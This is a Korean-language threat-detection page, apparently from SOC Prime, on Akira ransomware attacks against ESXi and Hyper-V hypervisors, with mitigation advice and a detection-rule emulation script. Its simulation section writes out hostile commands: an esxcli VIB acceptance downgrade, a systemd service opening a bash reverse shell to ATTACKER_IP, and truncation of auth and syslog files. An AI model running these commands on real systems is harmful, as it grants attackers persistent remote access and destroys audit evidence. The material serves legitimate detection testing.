Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 글은 가상 머신을 대규모로 암호화하기 위해 VMware ESXi와 같은 하이퍼바이저 플랫폼으로의 랜섬웨어 운영 변화 추세를 설명합니다. 적대자는 훔친 관리자 자격 증명과 기본 관리 유틸리티를 활용하여 전통적인 엔드포인트 방어를 회피합니다. 주요 위협 행위자는 아키라 랜섬웨어 그룹으로 조사됩니다. 논의는 견고한 하이퍼바이저 수준의 강화의 중요성에 중점을 둡니다.
조사
2025년 헌트레스 사례 데이터는 하이퍼바이저에 초점을 맞춘 랜섬웨어의 급격한 상승을 나타내며, 관찰된 사건의 3%에서 25%로 증가했다고 보고합니다. 조사관들은 Hyper-V 및 ESXi 관리 도구의 악용, 환경 전반에 걸친 자격 증명 재사용, CVE-2024-37085의 악용을 통해 관리자 권한을 얻었다고 기록했습니다. 분석은 공격자가 주로 SSH를 활성화하고, 잠김 모드를 끄고, VIB 허용 정책을 변경한 후 랜섬웨어 페이로드를 푸시한다는 점을 주목합니다.
완화
주요 완화 단계로는 MFA 강화, 전용 로컬 ESXi 계정 사용, 관리 네트워크 분리 및 격리, 배스천 호스트 배치, 최소 권한 접근 적용, VMkernel.Boot.execInstalledOnly 활성화가 포함됩니다. 조직은 또한 CVE-2024-37085와 같은 알려진 취약점을 패치하고 SLP와 같은 불필요한 서비스를 비활성화하여 하이퍼바이저 공격 표면을 줄여야 합니다.
대응
탐지 시, 조직은 ESXi 로그를 SIEM으로 스트리밍하고 의심스러운 구성 변경 사항을 알리며, 침해된 호스트를 격리하고 변경 불가한 백업이나 스냅샷에서 복구를 시작해야 합니다. 사건 대응 절차는 인증 로그, hostd 로그 및 VIB 수정의 포렌식 수집을 포함하며, 영향을 받은 가상 머신의 빠른 복원이 뒤따라야 합니다.
공격 흐름
이 부분을 계속 업데이트 중입니다. 알림을 받으려면 등록하세요.
알림 받기탐지
Linux/ESXi – vim-cmd를 통한 대량 VM 전원 제어 (cmdline을 통해)
보기
Hyper-V Manager (virtmgmt)가 Scripting/Remote Tools (process_creation을 통해)에서 MMC를 통해 시작됨
보기
하이퍼바이저 관리 인터페이스에 대한 무단 접근 및 비정상적인 소스 IP [Windows 네트워크 연결]
보기
VM 볼륨 암호화를 위한 OpenSSL 사용 탐지 [Linux 프로세스 생성]
보기
ESXi에서 무단 루트 로그인 및 서비스 활성화 탐지 [Microsoft Windows 보안 이벤트 로그]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준 사전 비행 검사가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적대 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 내러티브는 반드시 식별된 TTP를 직접 반영하고 탐지 로직에 의해 기대되는 정확한 텔레메트리를 생성하도록 되어야 합니다. 추상적이거나 관련 없는 예는 오진을 초래할 수 있습니다.
-
공격 내러티브 및 명령어:
-
초기 접근 (T1563.001 – SSH):
공격자는 훔친 루트 자격 증명을 사용하여 ESXi 호스트에 SSH 세션을 열고 ‘새 루트 로그인’ 이벤트를 생성합니다. -
권한 경화 (T1553.004 – VIB 허용 변경):
로그인 후, 공격자는 서명되지 않은 모듈을 로드하기 위해 VIB 허용 수준을 낮춥니다:esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported" -
서비스 활성화를 통한 지속성 (T1569):
공격자는 부팅 시 역전 셸을 실행하는 악성 systemd 서비스를 생성하고 이를 활성화합니다:cat <<'EOF' > /etc/systemd/system/malicious-revshell.service [Unit] Description=Malicious Reverse Shell [Service] ExecStart=/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done' [Install] WantedBy=multi-user.target EOF systemctl daemon-reload systemctl enable malicious-revshell.service systemctl start malicious-revshell.service -
정리 회피 (T1070 / T1070.001):
공격자는 탐지를 회피하려고 활동을 숨기기 위해 ESXi 호스트의 감사 로그를 정리합니다:> /var/log/auth.log > /var/log/syslog -
규칙 트리거:
Sigma 규칙이 작동하도록 하기 위해 공격자는logger유틸리티를 사용하여 문자 그대로의 EventID 문자열도 방출합니다 (이들은 규칙이 감시하는 불안전한 ‘새 루트 로그인’, ‘서비스 활성화’, ‘VIB 허용 변경’ 이벤트를 에뮬레이트합니다).
-
-
회귀 테스트 스크립트:
#!/usr/bin/env bash # # Sigma 규칙이 예상하는 정확한 텔레메트리를 시뮬레이트합니다. # 이 스크립트는 ESXi 호스트 (또는 로그를 SIEM으로 전달하는 Linux 호스트)에서 실행됩니다. set -euo pipefail echo "[*] 무단 루트 로그인 이벤트를 시뮬레이트합니다" logger -p authpriv.notice "new root login" echo "[*] 서비스 활성화 이벤트를 시뮬레이트합니다" logger -p authpriv.notice "service enablement" echo "[*] VIB 허용 수준 변경 이벤트를 시뮬레이트합니다" logger -p authpriv.notice "VIB acceptance change" # 선택 사항: 보다 깊은 검증을 위해 실제 악성 행동 수행 (안전을 위해 주석 처리됨) # esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported" # systemctl enable malicious-revshell.service # systemctl start malicious-revshell.service echo "[+] 시뮬레이션 완료. SIEM에서 경고를 확인하십시오." -
정리 명령어:
# 만들어낸 로그 항목을 제거합니다 (SIEM이 이를 보관하는 경우) logger -p authpriv.notice "cleanup: removing test EventIDs" # 악성 서비스를 중지하고 비활성화합니다 (실제로 생성된 경우) systemctl stop malicious-revshell.service || true systemctl disable malicious-revshell.service || true rm -f /etc/systemd/system/malicious-revshell.service systemctl daemon-reload # 원본 로그 파일 복구 (삭제된 경우) # 참고: 실제 환경에서는 백업에서 복구해야 합니다. echo "[*] 백업에서 로그 파일 복원됨 (수동 단계)."
SOC Prime의 Detection as Code 플랫폼에 가입하세요 귀하의 비즈니스와 가장 관련 있는 위협에 대한 가시성을 향상시키세요. 시작하고 즉각적인 가치를 창출하기 위해 지금 SOC Prime 전문가와의 미팅을 예약하세요.
Cookie Settings
You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information.
| Name | Descripiton |
|---|---|
| PHPSESSID | Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages. |
| sp_i | Used to store information about authenticated User. |
| sp_r | Used to store information about authenticated User. |
| sp_a | Used to store information about authenticated User. |
All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance.
| Name | Descripiton |
|---|---|
| tuuid | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| tuuid_last_update | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| um | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| umeh | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| na_sc_x | Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site. |
| APID | Collects anonymous data related to the user's visits to the website. |
| IDSYNC | Collects anonymous data related to the user's visits to the website. |
| _cc_aud | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_cc | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_dc | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_id | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| dpm | Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads. |
| acs | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads. |
| clid | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads. |
| KRTBCOOKIE_# | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| PUBMDCID | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| PugT | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| ssi | Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads. |
| _tmid | Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips. |
| wam-sync | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| wui | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| AFFICHE_W | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| B | Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor. |
| 1P_JAR | These cookies are used to gather website statistics, and track conversion rates. |
| APISID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| HSID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| NID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SAPISID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SIDCC | Security cookie to protect users data from unauthorised access. |
| SSID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| __utmx | This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website. |
| __utmxx | This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website. |
If you do not allow these cookies then some or all of these services may not function properly.
| Name | Descripiton |
|---|---|
| _hjid | Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID. |
| _hjIncludedInSample | This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample. |
| intercom-id-[xxx] | This cookie is used by Intercom as a session so that users can continue a chat as they move through the site. |
| intercom-session-[xxx] | Used to keeping track of sessions and remember logins and conversations. |
| demdex | Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads. |
| CookieConsent | Stores the user's cookie consent state for the current domain. |
| __cfduid | Used by the content network, Cloudflare, to identify trusted web traffic. |
| ss | These cookies enable the website to provide enhanced functionality and
personalisation . They may be set by us or by third party providers whose
services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality . |
They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising.
| Name | Descripiton |
|---|---|
| _ga | This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners. |
| _gat | Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes. |
| _gid | This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. |
| IDE | Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user. |
| r/collect | Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user. |
| test_cookie | Used to check if the user's browser supports cookies. |
| collect | Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels. |
| ads/user-lists/# | These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. |
| c | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| khaos | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| put_# | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| rpb | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| rpx | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| tap.php | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |